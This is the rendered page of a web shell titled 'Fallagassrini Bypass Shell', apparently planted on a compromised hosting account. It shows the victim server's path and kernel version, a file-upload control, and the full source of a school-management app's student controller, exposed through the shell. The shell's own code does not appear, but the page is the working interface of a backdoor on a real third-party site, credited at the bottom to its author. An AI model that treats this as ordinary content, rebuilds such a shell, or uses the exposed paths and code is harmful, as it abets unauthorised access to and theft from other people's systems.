? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/simsdemo/school/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/simsdemo/school/application/controllers/student.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Student extends BaseController

{

	function  __construct()
	{
		parent::BaseController();
                
                $this->load->model('studentmodel');
                $this->load->model('mastermodel');
                $this->load->model('settingsmodel');
                $this->load->library('Fpaginate');
                $this->load->helper('to_pdf');
	}

        function get_post_values()
        {
            $data = array();
            foreach ($_POST as $key => $value)
            {
                if($key != "submit")
                {
                    $data[$key] =  $this->input->post($key);
                }
            }
            return $data;
        }

        
//        function viewinstudent($modelfunction,$page,$pagenum="")
//        {
//            /*<---------------- For pagination purpose------------>*/
//            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],0);
//            if(!$perm)
//            {
//                $this->load->view('Settings/nopermission');
//            }
//            else
//            {
//                $perpage= $this->config->item('perpage');
//                $data['pagenum']=$pagenum;
//                $_SESSION['searchdata'] = '';
//                if($pagenum==1)
//                {
//                    $data['id']=1;
//                }
//                else
//                {
//                    $data['id']= (($pagenum-1)*$perpage)+1;
//                }
//
//
//              /*<---------------- For pagination purpose------------>         */
//                 if(isset($encoded_data))
//                 {
//                 $decoded_data= urldecode($encoded_data);
//                 $postdata=json_decode($decoded_data, true);
//                 }
//                 else
//                 {
//                   $postdata="";
//                 }
//
//                 $output=$this->studentmodel->$modelfunction($postdata,$pagenum);
//                 $data['startpage']=$output['startpage'];
//                 $data['endpage']=$output['endpage'];
//                 $data['viewinfo']=$output['results'];
//                 $this->load->view('Student/'.$page.'',$data);
//            }
//        }

        
        function viewinstudentsearch($modelfunction,$page,$pagenum)
        {
           /*<---------------- For pagination purpose------------>*/
            $perpage= $this->config->item('perpage');
            $_SESSION['pagenum']=$pagenum;
            $data['pagenum']=$pagenum;
            if($pagenum==1)
            {
                $data['id']=1;
                
            }
            else
            {
                $data['id']= (($pagenum-1)*$perpage)+1;
            }

           
            if(isset($_POST['tab_name']))
            {
                $postdata ="";
            }
            else
            {
                $postdata=$this->get_post_values();
            }

            if(!empty ($postdata))
                $_SESSION['searchdata']=$postdata;
            else if(!isset($_SESSION['searchdata']))
                $_SESSION['searchdata']="";

            $output=$this->studentmodel->$modelfunction($postdata,$pagenum);
            $data['startpage']=$output['startpage'];
            $data['endpage']=$output['endpage'];
            $data['viewinfo']=$output['results'];
            $this->load->view('Student/'.$page.'',$data);
        }

        
        function addinstudent($modelfunction,$page)
        {
            $postdata=$this->get_post_values();
            $data=$this->studentmodel->$modelfunction($postdata);
            if($data['res']==1)
            {
                if(!isset($data['msg']))
                    $data['msg']="Record added Successfully";
                $this->viewinstudentsearch($data['resfunction'],$page,$_SESSION['pagenum']);
                $this->load->view('insertsuccess',$data);

            }
            else
            {
                if(!isset($data['msg']))
                    $data['msg']="Problem while adding record";
                $this->viewinstudentsearch($data['resfunction'],$page,$_SESSION['pagenum']);
                $this->load->view('insertfailure',$data);
            }

        }

        function editform($controllerfunction,$id)
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],1);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
             }
            else
            {
                $this->$controllerfunction($id);

            }
        }
        
        function editstudent($id)
        {
            $data['student']=$this->mastermodel->get_joined_single_info('student','student_id','student_address','student_id','student_id',$id);
            $data['other']=$this->mastermodel->get_data_srow('student_otherinfo',$id,'student_id');
            $this->load->view('Student/editstudent',$data);
        }
        function singlestudent($id)
        {
            $data['student']=$this->mastermodel->get_joined_single_info('student','student_id','student_address','student_id','student_id',$id);
            $data['other']=$this->mastermodel->get_data_srow('student_otherinfo',$id,'student_id');
            $this->load->view('Student/singlestudent',$data);
        }
        function viewstudentsearch($searchtect,$field,$pagenum='1')
        {
            /*<---------------- For pagination purpose------------>*/

            $perpage= $this->config->item('perpage');
            $data['pagenum']=$pagenum;
            if($pagenum==1)
            {
                $data['id']=1;
            }
            else
            {
                $data['id']= (($pagenum-1)*$perpage)+1;
            }


          /*<---------------- For pagination purpose------------>         */
             

             $output=$this->studentmodel->studentsearch($searchtect,$field,$pagenum);
             $data['startpage']=$output['startpage'];
             $data['endpage']=$output['endpage'];
             $data['viewinfo']=$output['results'];
             $this->load->view('Student/searchresults',$data);

        }
        function editparent($id)
        {
            $data['parent']=$this->mastermodel->get_joined_single_info('parent','parent_id','parent_address','parent_id','parent_id',$id);
            $data['parent_student']=$this->studentmodel->get_parent_student($id);
            $this->load->view('Student/editparent',$data);
        }
        function singleparent($id)
        {
            $data['parent']=$this->mastermodel->get_joined_single_info('parent','parent_id','parent_address','parent_id','parent_id',$id);
            $data['parent_student']=$this->studentmodel->get_parent_student($id);
            $this->load->view('Student/singleparent',$data);
        }

        function load_attendance_sheet($modelfunction,$page)
        {
           $postdata=$this->get_post_values();
           $data['student']=$this->mastermodel->get_student_class($postdata['classlevel_id']);
           $data['classlevel_id']=$postdata['classlevel_id'];
           $data['year']=$postdata['year'];
           $data['month']=$postdata['month'];
           $this->load->view('Student/'.$page,$data);
        }

        function load_attendance_sheet_data($classid,$month,$year)
        {

           $data['student']=$this->mastermodel->get_student_class($classid);
           $data['classlevel_id']=$classid;
           $data['year']=$year;
           $data['month']=$month;
           $this->load->view('Student/load_attendance_sheet',$data);
        }
        function markabsent($mydate,$student_id)
        {

             $data=array();
             $data['mydate']=$mydate;
             $data['student_id']=$student_id;
            // $data['search_stud']= $this->mastemodel->getdata('student');
             $this->load->view('Student/markabsent',$data);
        }
        function insertabsence($reason,$mydate,$student_id)
        {
           $this->studentmodel->insert_absence($reason,$mydate,$student_id);

        }
        function changestatus($mydate,$student_id)
        {

             $data=array();
             $data['mydate']=$mydate;
             $data['student_id']=$student_id;
             $this->load->view('Student/changestatus',$data);
        }
        function insertchangestatus($mydate,$student_id)
        {
           $this->studentmodel->insertchangestatus($mydate,$student_id);
        }

        function edithomework($id)
        {
            $data['viewinfo']=$this->mastermodel->get_data_srow('homework',$id,'homework_id');
            $this->load->view('Student/edithomework',$data);
        }

        function singlehomework($id)
        {
            $data['viewinfo']=$this->mastermodel->get_data_srow('homework',$id,'homework_id');
            $this->load->view('Student/singlehomework',$data);
        }

        function feecategories($feecollection_id)
        {
            $data['viewinfo']=$this->mastermodel->get_data_srow('feecollection',$feecollection_id,'feecollection_id');
            $this->load->view('Student/feecategories',$data);
        }

        function editfee($id)
        {
            $data['fee']=$this->mastermodel->get_data_srow('fee',$id,'fee_id');
            $data['fee_particular']=$this->mastermodel->get_data('fee_particular',$id,'fee_id');
            $this->load->view('Student/editfee',$data);
        }

        function singlefee($id)
        {
            $data['fee']=$this->mastermodel->get_data_srow('fee',$id,'fee_id');
            $data['fee_particular']=$this->mastermodel->get_data('fee_particular',$id,'fee_id');
            $this->load->view('Student/singlefee',$data);
        }

        function feereceipt($id)
        {
            $data['fee']=$this->mastermodel->get_data_srow('fee',$id,'fee_id');
            $data['fee_particular']=$this->mastermodel->get_data('fee_particular',$id,'fee_id');
            $this->load->view('Student/feereceiptpdf',$data);
        }


        function editextraactivity($id)
        {
            $data['activity']=$this->mastermodel->get_data_srow('extraactivity',$id,'activity_id');
            $data['activity_class']=$this->mastermodel->get_data('extraactivity_class',$id,'activity_id');
            $data['activity_winners']=$this->mastermodel->get_data('extraactivity_winners',$id,'activity_id');
            $this->load->view('Student/editextraactivity',$data);
        }

        function singleextraactivity($id)
        {
            $data['activity']=$this->mastermodel->get_data_srow('extraactivity',$id,'activity_id');
            $data['activity_class']=$this->mastermodel->get_data('extraactivity_class',$id,'activity_id');
            $data['activity_winners']=$this->mastermodel->get_data('extraactivity_winners',$id,'activity_id');
            $this->load->view('Student/singleextraactivity',$data);
        }
         function edittc($id)
        {
            $data['tc']=$this->mastermodel->get_data_srow('tc',$id,'tc_id');
            $this->load->view('Student/edittc',$data);
        }
        function singletc($id)
        {
            $data['tc']=$this->mastermodel->get_data_srow('tc',$id,'tc_id');
            $this->load->view('Student/singletc',$data);
        }

        function classfeetype($student_id)
        {
            $data=array();
            $class=$this->mastermodel->getsinglefieldvalue('student','classlevel_id','student_id',$student_id);
            $data['feetype_list']=$this->mastermodel->get_data('feecreate',$class,'feecreate_classlevel_id');
            $this->load->view('Student/classfeetype',$data);
        }

        function classsubject($classlevel_id)
        {
            $data=array();
            $data['subject_list']=$this->mastermodel->get_data('subject',$classlevel_id,'classlevel_id');
            $this->load->view('Student/classsubject',$data);
        }

        function pendingstudentfee($student_id)
        {
            $data=array();
            $data['feecollection_list']=$this->studentmodel->get_pending_fee($student_id);
            $this->load->view('Student/studentfeedetails',$data);
        }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net